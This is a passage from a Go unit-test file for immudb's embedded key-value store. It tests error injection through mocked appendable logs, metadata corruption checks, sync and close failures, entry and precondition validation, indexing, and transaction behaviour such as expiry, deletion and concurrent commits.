AppendFn: func(bs []byte) (off int64, n int, err error) { return 0, len(bs), nil }, FlushFn: func() error { return nil }, SyncFn: func() error { return nil }, } t.Run("should fail reading fileSize from metadata", func(t *testing.T) { cLog.MetadataFn = func() []byte { return nil } _, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions().WithEmbeddedValues(false)) require.ErrorIs(t, err, ErrCorruptedCLog) }) t.Run("should fail reading maxTxEntries from metadata", func(t *testing.T) { cLog.MetadataFn = func() []byte { md := appendable.NewMetadata(nil) md.PutInt(metaVersion, 1) md.PutInt(metaFileSize, 1) return md.Bytes() } _, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions().WithEmbeddedValues(false)) require.ErrorIs(t, err, ErrCorruptedCLog) }) t.Run("should fail reading maxKeyLen from metadata", func(t *testing.T) { cLog.MetadataFn = func() []byte { md := appendable.NewMetadata(nil) md.PutInt(metaVersion, 1) md.PutInt(metaFileSize, 1) md.PutInt(metaMaxTxEntries, 4) return md.Bytes() } _, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions().WithEmbeddedValues(false)) require.ErrorIs(t, err, ErrCorruptedCLog) }) t.Run("should fail reading maxKeyLen from metadata", func(t *testing.T) { cLog.MetadataFn = func() []byte { md := appendable.NewMetadata(nil) md.PutInt(metaVersion, 1) md.PutInt(metaFileSize, 1) md.PutInt(metaMaxTxEntries, 4) md.PutInt(metaMaxKeyLen, 8) return md.Bytes() } _, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions().WithEmbeddedValues(false)) require.ErrorIs(t, err, ErrCorruptedCLog) }) t.Run("should fail reading cLogSize", func(t *testing.T) { cLog.MetadataFn = func() []byte { md := appendable.NewMetadata(nil) md.PutInt(metaVersion, 1) md.PutInt(metaFileSize, 1) md.PutInt(metaMaxTxEntries, 4) md.PutInt(metaMaxKeyLen, 8) md.PutInt(metaMaxValueLen, 16) return md.Bytes() } injectedError := errors.New("error") cLog.SizeFn = func() (int64, error) { return 0, injectedError } _, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions().WithEmbeddedValues(false)) require.ErrorIs(t, err, injectedError) }) injectedError := errors.New("error") t.Run("should fail setting cLog offset", func(t *testing.T) { cLog.SizeFn = func() (int64, error) { return cLogEntrySizeV1 - 1, nil } cLog.SetOffsetFn = func(off int64) error { return injectedError } _, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions().WithEmbeddedValues(false)) require.ErrorIs(t, err, injectedError) }) t.Run("should truncate cLog when validating cLogSize", func(t *testing.T) { cLog.SizeFn = func() (int64, error) { return cLogEntrySizeV1 - 1, nil } cLog.SetOffsetFn = func(off int64) error { return nil } st, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions().WithEmbeddedValues(false)) require.NoError(t, err) err = st.Close() require.NoError(t, err) }) t.Run("should fail reading cLog", func(t *testing.T) { cLog.SizeFn = func() (int64, error) { return cLogEntrySizeV1, nil } cLog.ReadAtFn = func(bs []byte, off int64) (int, error) { return 0, injectedError } _, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions().WithEmbeddedValues(false)) require.ErrorIs(t, err, injectedError) }) t.Run("should fail reading txLogSize", func(t *testing.T) { cLog.SizeFn = func() (int64, error) { return cLogEntrySizeV1 + 1, nil } cLog.SetOffsetFn = func(off int64) error { return nil } txLog.SizeFn = func() (int64, error) { return 0, injectedError } _, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions().WithEmbeddedValues(false)) require.ErrorIs(t, err, injectedError) }) t.Run("should fail reading txLogSize", func(t *testing.T) { cLog.SizeFn = func() (int64, error) { return cLogEntrySizeV1, nil } cLog.ReadAtFn = func(bs []byte, off int64) (int, error) { for i := 0; i < len(bs); i++ { bs[i]++ } return minInt(len(bs), 8+4+8+8), nil } txLog.SizeFn = func() (int64, error) { return 0, injectedError } _, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions().WithEmbeddedValues(false)) require.ErrorIs(t, err, injectedError) }) t.Run("should fail validating txLogSize", func(t *testing.T) { cLog.SizeFn = func() (int64, error) { return cLogEntrySizeV1, nil } cLog.ReadAtFn = func(bs []byte, off int64) (int, error) { for i := 0; i < len(bs); i++ { bs[i]++ } return minInt(len(bs), 8+4+8+8), nil } txLog.SizeFn = func() (int64, error) { return 0, nil } _, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions().WithEmbeddedValues(false)) require.ErrorIs(t, err, ErrCorruptedTxData) }) t.Run("fail to read last transaction", func(t *testing.T) { cLog.ReadAtFn = func(bs []byte, off int64) (int, error) { buff := []byte{0, 0, 0, 0, 0, 0, 0, 1} require.Less(t, off, int64(len(buff))) return copy(bs, buff[off:]), nil } txLog.SizeFn = func() (int64, error) { return 1, nil } txLog.ReadAtFn = func(bs []byte, off int64) (int, error) { return 0, injectedError } _, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions().WithEmbeddedValues(false)) require.ErrorIs(t, err, injectedError) }) t.Run("fail to initialize aht when opening appendable", func(t *testing.T) { txLog.ReadAtFn = func(bs []byte, off int64) (int, error) { return 0, io.EOF } cLog.SizeFn = func() (int64, error) { return 0, nil } _, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions(). WithEmbeddedValues(false). WithAppFactory(func(rootPath, subPath string, opts *multiapp.Options) (appendable.Appendable, error) { if strings.HasPrefix(subPath, "aht/") { return nil, injectedError } return &mocked.MockedAppendable{}, nil }), ) require.ErrorIs(t, err, injectedError) }) t.Run("fail to initialize indexer", func(t *testing.T) { _, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions(). WithEmbeddedValues(false). WithAppFactory(func(rootPath, subPath string, opts *multiapp.Options) (appendable.Appendable, error) { if strings.HasSuffix(rootPath, "index") { return nil, injectedError } return &mocked.MockedAppendable{ SizeFn: func() (int64, error) { return 0, nil }, CloseFn: func() error { return nil }, SetOffsetFn: func(off int64) error { return nil }, }, nil }), ) require.ErrorIs(t, err, injectedError) }) t.Run("incorrect tx in indexer", func(t *testing.T) { vLog.CloseFn = func() error { return nil } txLog.CloseFn = func() error { return nil } cLog.CloseFn = func() error { return nil } _, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions(). WithEmbeddedValues(false). WithAppFactory(func(rootPath, subPath string, opts *multiapp.Options) (appendable.Appendable, error) { nLog := &mocked.MockedAppendable{ ReadAtFn: func(bs []byte, off int64) (int, error) { buff := []byte{ tbtree.LeafNodeType, 0, 1, // One node 0, 1, // Key size 'k', // key 0, 1, // Value size 'v', // value 0, 0, 0, 0, 0, 0, 0, 1, // Timestamp 0, 0, 0, 0, 0, 0, 0, 0, // hOffs 0, 0, 0, 0, 0, 0, 0, 0, // hSize } require.Less(t, off, int64(len(buff))) return copy(bs, buff[off:]), nil }, SyncFn: func() error { return nil }, CloseFn: func() error { return nil }, } hLog := &mocked.MockedAppendable{ SetOffsetFn: func(off int64) error { return nil }, SizeFn: func() (int64, error) { return 0, nil }, SyncFn: func() error { return nil }, CloseFn: func() error { return nil }, } switch subPath { case "nodes": return nLog, nil case "history": return hLog, nil case "commit": return &mocked.MockedAppendable{ SizeFn: func() (int64, error) { // One clog entry return 100, nil }, AppendFn: func(bs []byte) (off int64, n int, err error) { return 0, 0, nil }, ReadAtFn: func(bs []byte, off int64) (int, error) { buff := [20 + 32 + 16 + 32]byte{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 33, 0, 0, 0, 33} nLogChecksum, err := appendable.Checksum(nLog, 0, 33) if err != nil { return 0, err } copy(buff[20:], nLogChecksum[:]) hLogChecksum, err := appendable.Checksum(hLog, 0, 0) if err != nil { return 0, err } copy(buff[20+32+16:], hLogChecksum[:]) require.Less(t, off, int64(len(buff))) return copy(bs, buff[off:]), nil }, MetadataFn: func() []byte { md := appendable.NewMetadata(nil) md.PutInt(tbtree.MetaVersion, tbtree.Version) md.PutInt(tbtree.MetaMaxNodeSize, tbtree.DefaultMaxNodeSize) md.PutInt(tbtree.MetaMaxKeySize, tbtree.DefaultMaxKeySize) md.PutInt(tbtree.MetaMaxValueSize, tbtree.DefaultMaxValueSize) return md.Bytes() }, SetOffsetFn: func(off int64) error { return nil }, FlushFn: func() error { return nil }, SyncFn: func() error { return nil }, CloseFn: func() error { return nil }, }, nil } return &mocked.MockedAppendable{ SizeFn: func() (int64, error) { return 0, nil }, OffsetFn: func() int64 { return 0 }, CloseFn: func() error { return nil }, }, nil }), ) require.ErrorIs(t, err, ErrCorruptedIndex) }) mockedApps := []*mocked.MockedAppendable{vLog, txLog, cLog} for _, app := range mockedApps { app.SyncFn = func() error { return nil } } t.Run("errors during sync", func(t *testing.T) { // Errors during sync vLog.AppendFn = func(bs []byte) (off int64, n int, err error) { return 0, len(bs), nil } vLog.FlushFn = func() error { return nil } txLog.AppendFn = func(bs []byte) (off int64, n int, err error) { return 0, len(bs), nil } txLog.SetOffsetFn = func(off int64) error { return nil } txLog.FlushFn = func() error { return nil } cLogBuf := bytes.NewBuffer(nil) cLog.AppendFn = func(bs []byte) (off int64, n int, err error) { off = int64(cLogBuf.Len()) n, err = cLogBuf.Write(bs) return } cLog.ReadAtFn = func(bs []byte, off int64) (int, error) { buf := cLogBuf.Bytes() copy(bs, buf[off:]) return len(buf) - int(off), nil } for i, checkApp := range mockedApps { injectedError = fmt.Errorf("Injected error %d", i) checkApp.SyncFn = func() error { return injectedError } opts := DefaultOptions(). WithEmbeddedValues(false). WithSyncFrequency(time.Duration(1) * time.Second) store, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, opts) require.NoError(t, err) var wg sync.WaitGroup wg.Add(1) go func() { tx, err := store.NewWriteOnlyTx(context.Background()) require.NoError(t, err) err = tx.Set([]byte("key"), nil, []byte("value")) require.NoError(t, err) _, err = tx.AsyncCommit(context.Background()) require.ErrorIs(t, err, ErrAlreadyClosed) wg.Done() }() // wait for the tx to be waiting for sync to happen err = store.inmemPrecommitWHub.WaitFor(context.Background(), 1) require.NoError(t, err) err = store.Sync() require.ErrorIs(t, err, injectedError) err = store.Close() require.NoError(t, err) wg.Wait() checkApp.SyncFn = func() error { return nil } } }) // Errors during close store, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions().WithEmbeddedValues(false)) require.NoError(t, err) err = store.aht.Close() require.NoError(t, err) err = store.Close() require.ErrorIs(t, err, ahtree.ErrAlreadyClosed) for i, checkApp := range mockedApps { injectedError = fmt.Errorf("Injected error %d", i) checkApp.CloseFn = func() error { return injectedError } store, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions().WithEmbeddedValues(false)) require.NoError(t, err) err = store.Close() require.ErrorIs(t, err, injectedError) checkApp.CloseFn = func() error { return nil } } opts := DefaultOptions(). WithMaxConcurrency(1). WithEmbeddedValues(false) immuStore, err := Open(t.TempDir(), opts) require.NoError(t, err) var zeroTime time.Time immuStore.lastNotification = zeroTime immuStore.notify(Info, false, "info message") immuStore.lastNotification = zeroTime immuStore.notify(Warn, false, "warn message") immuStore.lastNotification = zeroTime immuStore.notify(Error, false, "error message") tx1, err := immuStore.fetchAllocTx() require.NoError(t, err) _, err = immuStore.fetchAllocTx() require.ErrorIs(t, err, ErrMaxConcurrencyLimitExceeded) immuStore.releaseAllocTx(tx1) _, err = immuStore.NewTxReader(1, false, nil) require.ErrorIs(t, err, ErrIllegalArguments) _, err = immuStore.DualProof(nil, nil) require.ErrorIs(t, err, ErrIllegalArguments) _, err = immuStore.DualProofV2(nil, nil) require.ErrorIs(t, err, ErrIllegalArguments) sourceTx := NewTx(1, 1) sourceTx.header.ID = 2 targetTx := NewTx(1, 1) targetTx.header.ID = 1 _, err = immuStore.DualProof(sourceTx.Header(), targetTx.Header()) require.ErrorIs(t, err, ErrSourceTxNewerThanTargetTx) _, err = immuStore.DualProofV2(sourceTx.Header(), targetTx.Header()) require.ErrorIs(t, err, ErrSourceTxNewerThanTargetTx) _, err = immuStore.LinearProof(2, 1) require.ErrorIs(t, err, ErrSourceTxNewerThanTargetTx) _, err = sourceTx.EntryOf([]byte{1, 2, 3}) require.ErrorIs(t, err, ErrKeyNotFound) t.Run("validateEntries", func(t *testing.T) { err = immuStore.validateEntries(make([]*EntrySpec, immuStore.maxTxEntries+1)) require.ErrorIs(t, err, ErrMaxTxEntriesLimitExceeded) entry := &EntrySpec{Key: nil, Value: nil} err = immuStore.validateEntries([]*EntrySpec{entry}) require.ErrorIs(t, err, ErrNullKey) entry = &EntrySpec{Key: make([]byte, immuStore.maxKeyLen+1), Value: make([]byte, 1)} err = immuStore.validateEntries([]*EntrySpec{entry}) require.ErrorIs(t, err, ErrMaxKeyLenExceeded) entry = &EntrySpec{Key: make([]byte, 1), Value: make([]byte, immuStore.maxValueLen+1)} err = immuStore.validateEntries([]*EntrySpec{entry}) require.ErrorIs(t, err, ErrMaxValueLenExceeded) }) t.Run("validatePreconditions", func(t *testing.T) { err = immuStore.validatePreconditions(nil) require.NoError(t, err) err = immuStore.validatePreconditions([]Precondition{ nil, }) require.ErrorIs(t, err, ErrInvalidPrecondition) require.ErrorIs(t, err, ErrInvalidPreconditionNull) err = immuStore.validatePreconditions([]Precondition{ &PreconditionKeyMustExist{}, }) require.ErrorIs(t, err, ErrInvalidPrecondition) require.ErrorIs(t, err, ErrInvalidPreconditionNullKey) err = immuStore.validatePreconditions([]Precondition{ &PreconditionKeyMustExist{ Key: make([]byte, immuStore.maxKeyLen+1), }, }) require.ErrorIs(t, err, ErrInvalidPrecondition) require.ErrorIs(t, err, ErrInvalidPreconditionMaxKeyLenExceeded) err = immuStore.validatePreconditions([]Precondition{ &PreconditionKeyMustNotExist{}, }) require.ErrorIs(t, err, ErrInvalidPrecondition) require.ErrorIs(t, err, ErrInvalidPreconditionNullKey) err = immuStore.validatePreconditions([]Precondition{ &PreconditionKeyMustNotExist{ Key: make([]byte, immuStore.maxKeyLen+1), }, }) require.ErrorIs(t, err, ErrInvalidPrecondition) require.ErrorIs(t, err, ErrInvalidPreconditionMaxKeyLenExceeded) err = immuStore.validatePreconditions([]Precondition{ &PreconditionKeyNotModifiedAfterTx{ TxID: 1, }, }) require.ErrorIs(t, err, ErrInvalidPrecondition) require.ErrorIs(t, err, ErrInvalidPreconditionNullKey) err = immuStore.validatePreconditions([]Precondition{ &PreconditionKeyNotModifiedAfterTx{ Key: make([]byte, immuStore.maxKeyLen+1), TxID: 1, }, }) require.ErrorIs(t, err, ErrInvalidPrecondition) require.ErrorIs(t, err, ErrInvalidPreconditionMaxKeyLenExceeded) err = immuStore.validatePreconditions([]Precondition{ &PreconditionKeyNotModifiedAfterTx{ Key: []byte("key"), TxID: 0, }, }) require.ErrorIs(t, err, ErrInvalidPrecondition) require.ErrorIs(t, err, ErrInvalidPreconditionInvalidTxID) }) } func TestImmudbTxOffsetAndSize(t *testing.T) { opts := DefaultOptions().WithMaxConcurrency(1) immuStore, err := Open(t.TempDir(), opts) require.NoError(t, err) defer immustoreClose(t, immuStore) immuStore.mutex.Lock() defer immuStore.mutex.Unlock() _, _, err = immuStore.txOffsetAndSize(0) require.ErrorIs(t, err, ErrIllegalArguments) } func TestImmudbStoreIndexing(t *testing.T) { opts := DefaultOptions().WithSynced(false).WithMaxConcurrency(1) immuStore, err := Open(t.TempDir(), opts) require.NoError(t, err) require.NotNil(t, immuStore) defer immustoreClose(t, immuStore) txCount := 1000 eCount := 10 for i := 0; i < txCount; i++ { tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) for j := 0; j < eCount; j++ { k := make([]byte, 8) binary.BigEndian.PutUint64(k, uint64(j)) v := make([]byte, 8) binary.BigEndian.PutUint64(v, uint64(i)) err = tx.Set(k, nil, v) require.NoError(t, err) } txhdr, err := tx.AsyncCommit(context.Background()) require.NoError(t, err) require.Equal(t, uint64(i+1), txhdr.ID) } var wg sync.WaitGroup wg.Add(1) for f := 0; f < 1; f++ { go func() { defer wg.Done() for { txID, _ := immuStore.CommittedAlh() snap, err := immuStore.SnapshotMustIncludeTxID(context.Background(), nil, txID) require.NoError(t, err) for i := 0; i < int(snap.Ts()); i++ { for j := 0; j < eCount; j++ { k := make([]byte, 8) binary.BigEndian.PutUint64(k, uint64(j)) v := make([]byte, 8) binary.BigEndian.PutUint64(v, snap.Ts()-1) valRef, err := snap.Get(context.Background(), k) if err != nil { require.ErrorIs(t, err, tbtree.ErrKeyNotFound) continue } val, err := valRef.Resolve() require.NoError(t, err) require.Equal(t, v, val) } } if snap.Ts() == uint64(txCount) { k := make([]byte, 8) binary.BigEndian.PutUint64(k, uint64(eCount-1)) _, valRef1, err := immuStore.GetWithPrefix(context.Background(), k, nil) require.NoError(t, err) v1, err := valRef1.Resolve() require.NoError(t, err) valRef2, err := snap.Get(context.Background(), k) require.NoError(t, err) v2, err := valRef2.Resolve() require.NoError(t, err) require.Equal(t, v1, v2) require.Equal(t, valRef1.Tx(), valRef2.Tx()) txs, hCount, err := immuStore.History(k, 0, false, txCount) require.NoError(t, err) require.Equal(t, txCount, len(txs)) require.Equal(t, txCount, int(hCount)) snap.Close() break } snap.Close() time.Sleep(time.Duration(100) * time.Millisecond) } }() } wg.Wait() if t.Failed() { return } err = immuStore.FlushIndexes(-10, true) require.ErrorIs(t, err, tbtree.ErrIllegalArguments) err = immuStore.FlushIndexes(100, true) require.NoError(t, err) t.Run("latest set value should be committed", func(t *testing.T) { tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) err = tx.Set([]byte("key"), nil, []byte("value1")) require.NoError(t, err) err = tx.Set([]byte("key"), nil, []byte("value2")) require.NoError(t, err) _, err = tx.Commit(context.Background()) require.NoError(t, err) valRef, err := immuStore.Get(context.Background(), []byte("key")) require.NoError(t, err) val, err := valRef.Resolve() require.NoError(t, err) require.Equal(t, []byte("value2"), val) key, _, err := immuStore.GetWithPrefix(context.Background(), []byte("k"), []byte("k")) require.NoError(t, err) require.Equal(t, []byte("key"), key) _, err = immuStore.GetBetween(context.Background(), []byte("key"), 1, valRef.Tx()) require.NoError(t, err) }) } func TestImmudbStoreRWTransactions(t *testing.T) { dir := t.TempDir() opts := DefaultOptions().WithSynced(false).WithMaxConcurrency(1) immuStore, err := Open(dir, opts) require.NoError(t, err) defer immustoreClose(t, immuStore) t.Run("after closing write-only tx edge cases", func(t *testing.T) { tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) require.Nil(t, tx.Metadata()) err = tx.Set(nil, nil, []byte{3, 2, 1}) require.ErrorIs(t, err, ErrNullKey) err = tx.Set(make([]byte, immuStore.maxKeyLen+1), nil, []byte{3, 2, 1}) require.ErrorIs(t, err, ErrMaxKeyLenExceeded) err = tx.Set([]byte{1, 2, 3}, nil, make([]byte, immuStore.maxValueLen+1)) require.ErrorIs(t, err, ErrMaxValueLenExceeded) err = tx.Set([]byte{1, 2, 3}, nil, []byte{3, 2, 1}) require.NoError(t, err) err = tx.Set([]byte{1, 2, 3}, nil, []byte{3, 2, 1, 0}) require.NoError(t, err) _, err = tx.Get(context.Background(), []byte{1, 2, 3}) require.ErrorIs(t, err, ErrWriteOnlyTx) _, _, err = tx.GetWithPrefix(context.Background(), []byte{1}, []byte{1}) require.ErrorIs(t, err, ErrWriteOnlyTx) err = tx.Delete(context.Background(), []byte{1, 2, 3}) require.ErrorIs(t, err, ErrWriteOnlyTx) _, err = tx.NewKeyReader(KeyReaderSpec{}) require.ErrorIs(t, err, ErrWriteOnlyTx) _, err = tx.Commit(context.Background()) require.NoError(t, err) err = tx.Set([]byte{1, 2, 3}, nil, []byte{3, 2, 1, 0}) require.ErrorIs(t, err, ErrAlreadyClosed) _, err = tx.NewKeyReader(KeyReaderSpec{}) require.ErrorIs(t, err, ErrAlreadyClosed) _, err = tx.Commit(context.Background()) require.ErrorIs(t, err, ErrAlreadyClosed) err = tx.Cancel() require.ErrorIs(t, err, ErrAlreadyClosed) }) t.Run("cancelled transaction should not produce effects", func(t *testing.T) { tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) _, err = tx.Get(context.Background(), []byte{1, 2, 3}) require.ErrorIs(t, err, ErrWriteOnlyTx) err = tx.Cancel() require.NoError(t, err) err = tx.Cancel() require.ErrorIs(t, err, ErrAlreadyClosed) _, err = tx.Commit(context.Background()) require.ErrorIs(t, err, ErrAlreadyClosed) valRef, err := immuStore.Get(context.Background(), []byte{1, 2, 3}) require.NoError(t, err) require.Equal(t, uint64(1), valRef.Tx()) require.Equal(t, uint64(1), valRef.HC()) require.Equal(t, uint32(4), valRef.Len()) require.Nil(t, valRef.KVMetadata()) require.Nil(t, valRef.TxMetadata()) require.Equal(t, sha256.Sum256([]byte{3, 2, 1, 0}), valRef.HVal()) v, err := valRef.Resolve() require.NoError(t, err) require.Equal(t, []byte{3, 2, 1, 0}, v) }) t.Run("read-your-own-writes should be possible before commit", func(t *testing.T) { _, err := immuStore.Get(context.Background(), []byte("key1")) require.ErrorIs(t, err, embedded.ErrKeyNotFound) tx, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) _, err = tx.Get(context.Background(), []byte("key1")) require.ErrorIs(t, err, embedded.ErrKeyNotFound) err = tx.Set([]byte("key1"), nil, []byte("value1")) require.NoError(t, err) _, err = tx.GetWithFilters(context.Background(), []byte("key1"), nil) require.ErrorIs(t, err, ErrIllegalArguments) _, _, err = tx.GetWithPrefixAndFilters(context.Background(), []byte("key1"), nil, nil) require.ErrorIs(t, err, ErrIllegalArguments) key, valRef, err := tx.GetWithPrefix(context.Background(), []byte("key1"), []byte("key")) require.NoError(t, err) require.NotNil(t, key) require.NotNil(t, valRef) _, _, err = tx.GetWithPrefix(context.Background(), []byte("key1"), []byte("key1")) require.ErrorIs(t, err, embedded.ErrKeyNotFound) r, err := tx.NewKeyReader(KeyReaderSpec{Prefix: []byte("key")}) require.NoError(t, err) require.NotNil(t, r) k, _, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, []byte("key1"), k) _, err = tx.Commit(context.Background()) require.ErrorIs(t, err, tbtree.ErrReadersNotClosed) err = r.Close() require.NoError(t, err) valRef, err = tx.Get(context.Background(), []byte("key1")) require.NoError(t, err) require.Equal(t, uint64(0), valRef.Tx()) require.Equal(t, uint64(1), valRef.HC()) require.Equal(t, uint32(6), valRef.Len()) require.Nil(t, valRef.KVMetadata()) require.Nil(t, valRef.TxMetadata()) require.Equal(t, sha256.Sum256([]byte("value1")), valRef.HVal()) v, err := valRef.Resolve() require.NoError(t, err) require.Equal(t, []byte("value1"), v) _, err = immuStore.Get(context.Background(), []byte("key1")) require.ErrorIs(t, err, embedded.ErrKeyNotFound) _, err = tx.Commit(context.Background()) require.NoError(t, err) _, _, err = tx.GetWithPrefix(context.Background(), []byte("key1"), []byte("key1")) require.ErrorIs(t, err, ErrAlreadyClosed) valRef, err = immuStore.Get(context.Background(), []byte("key1")) require.NoError(t, err) require.NotNil(t, valRef) require.Equal(t, uint64(2), valRef.Tx()) v, err = valRef.Resolve() require.NoError(t, err) require.Equal(t, []byte("value1"), v) }) t.Run("second ongoing tx after the first commit should succeed", func(t *testing.T) { tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) tx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx1.Set([]byte("key1"), nil, []byte("value1_tx1")) require.NoError(t, err) err = tx2.Set([]byte("key1"), nil, []byte("value1_tx2")) require.NoError(t, err) _, err = tx1.Commit(context.Background()) require.NoError(t, err) _, err = tx2.Commit(context.Background()) require.NoError(t, err) valRef, err := immuStore.Get(context.Background(), []byte("key1")) require.NoError(t, err) require.NotNil(t, valRef) require.Equal(t, uint64(4), valRef.Tx()) v, err := valRef.Resolve() require.NoError(t, err) require.Equal(t, []byte("value1_tx2"), v) }) t.Run("second ongoing tx with multiple entries after the first commit should succeed", func(t *testing.T) { tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) tx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx1.Set([]byte("key1"), nil, []byte("value1_tx1")) require.NoError(t, err) err = tx2.Set([]byte("key1"), nil, []byte("value1_tx2")) require.NoError(t, err) err = tx2.Set([]byte("key2"), nil, []byte("value2_tx2")) require.NoError(t, err) _, err = tx1.Commit(context.Background()) require.NoError(t, err) _, err = tx2.Commit(context.Background()) require.NoError(t, err) valRef, err := immuStore.Get(context.Background(), []byte("key1")) require.NoError(t, err) require.NotNil(t, valRef) require.Equal(t, uint64(6), valRef.Tx()) v, err := valRef.Resolve() require.NoError(t, err) require.Equal(t, []byte("value1_tx2"), v) }) t.Run("second ongoing tx after the first cancellation should succeed", func(t *testing.T) { tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) tx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx1.Set([]byte("key1"), nil, []byte("value1_tx1")) require.NoError(t, err) err = tx2.Set([]byte("key1"), nil, []byte("value1_tx2")) require.NoError(t, err) err = tx1.Cancel() require.NoError(t, err) _, err = tx2.Commit(context.Background()) require.NoError(t, err) valRef, err := immuStore.Get(context.Background(), []byte("key1")) require.NoError(t, err) require.NotNil(t, valRef) require.Equal(t, uint64(7), valRef.Tx()) v, err := valRef.Resolve() require.NoError(t, err) require.Equal(t, []byte("value1_tx2"), v) }) t.Run("deleted keys should not be reachable", func(t *testing.T) { tx, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx.Delete(context.Background(), []byte{1, 2, 3}) require.NoError(t, err) err = tx.Delete(context.Background(), []byte{1, 2, 3}) require.ErrorIs(t, err, ErrKeyNotFound) r, err := tx.NewKeyReader(KeyReaderSpec{ Prefix: []byte{1, 2, 3}, Filters: []FilterFn{IgnoreDeleted}, }) require.NoError(t, err) require.NotNil(t, r) _, _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreEntries) err = r.Close() require.NoError(t, err) _, err = tx.Commit(context.Background()) require.NoError(t, err) _, err = immuStore.Get(context.Background(), []byte{1, 2, 3}) require.ErrorIs(t, err, ErrKeyNotFound) _, err = immuStore.GetWithFilters(context.Background(), []byte{1, 2, 3}, nil) require.ErrorIs(t, err, ErrIllegalArguments) _, _, err = immuStore.GetWithPrefixAndFilters(context.Background(), []byte{1, 2, 3}, nil, nil) require.ErrorIs(t, err, ErrIllegalArguments) valRef, err := immuStore.GetWithFilters(context.Background(), []byte{1, 2, 3}) require.NoError(t, err) require.NotNil(t, valRef) require.True(t, valRef.KVMetadata().Deleted()) require.NotNil(t, valRef.KVMetadata()) require.False(t, valRef.KVMetadata().IsExpirable()) tx, err = immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) defer tx.Cancel() r, err = tx.NewKeyReader(KeyReaderSpec{ Prefix: []byte{1, 2, 3}, Filters: []FilterFn{IgnoreDeleted}, }) require.NoError(t, err) require.NotNil(t, r) _, _, err = r.ReadBetween(context.Background(), 1, immuStore.TxCount()) require.ErrorIs(t, err, ErrNoMoreEntries) err = r.Close() require.NoError(t, err) }) t.Run("non-expired keys should be reachable", func(t *testing.T) { nearFuture := time.Now().Add(2 * time.Second) tx, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) md := NewKVMetadata() err = md.ExpiresAt(nearFuture) require.NoError(t, err) err = tx.Set([]byte("expirableKey"), md, []byte("expirableValue")) require.NoError(t, err) _, err = tx.Commit(context.Background()) require.NoError(t, err) valRef, err := immuStore.Get(context.Background(), []byte("expirableKey")) require.NoError(t, err) require.NotNil(t, valRef) val, err := valRef.Resolve() require.NoError(t, err) require.Equal(t, []byte("expirableValue"), val) time.Sleep(2 * time.Second) // already expired _, err = immuStore.Get(context.Background(), []byte("expirableKey")) require.ErrorIs(t, err, ErrKeyNotFound) require.ErrorIs(t, err, ErrExpiredEntry) // expired entries can not be resolved valRef, err = immuStore.GetWithFilters(context.Background(), []byte("expirableKey")) require.NoError(t, err) _, err = valRef.Resolve() require.ErrorIs(t, err, ErrKeyNotFound) require.ErrorIs(t, err, ErrExpiredEntry) // expired entries are not returned _, err = immuStore.GetWithFilters(context.Background(), []byte("expirableKey"), IgnoreExpired) require.ErrorIs(t, err, ErrKeyNotFound) require.ErrorIs(t, err, ErrExpiredEntry) }) t.Run("expired keys should not be reachable", func(t *testing.T) { now := time.Now() tx, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) md := NewKVMetadata() err = md.ExpiresAt(now) require.NoError(t, err) err = tx.Set([]byte("expirableKey"), md, []byte("expirableValue")) require.NoError(t, err) _, err = tx.Commit(context.Background()) require.NoError(t, err) // already expired _, err = immuStore.Get(context.Background(), []byte("expirableKey")) require.ErrorIs(t, err, ErrKeyNotFound) // expired entries can not be resolved valRef, err := immuStore.GetWithFilters(context.Background(), []byte("expirableKey")) require.NoError(t, err) _, err = valRef.Resolve() require.ErrorIs(t, err, ErrKeyNotFound) require.ErrorIs(t, err, ErrExpiredEntry) }) t.Run("transactions should not read data from anothers committed or ongoing transactions since it was created", func(t *testing.T) { tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx1.Delete(context.Background(), []byte("key1")) require.NoError(t, err) err = tx1.Delete(context.Background(), []byte("key2")) require.NoError(t, err) _, err = tx1.Commit(context.Background()) require.NoError(t, err) tx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) err = tx2.Set([]byte("key1"), nil, []byte("value1_tx2")) require.NoError(t, err) tx3, err := 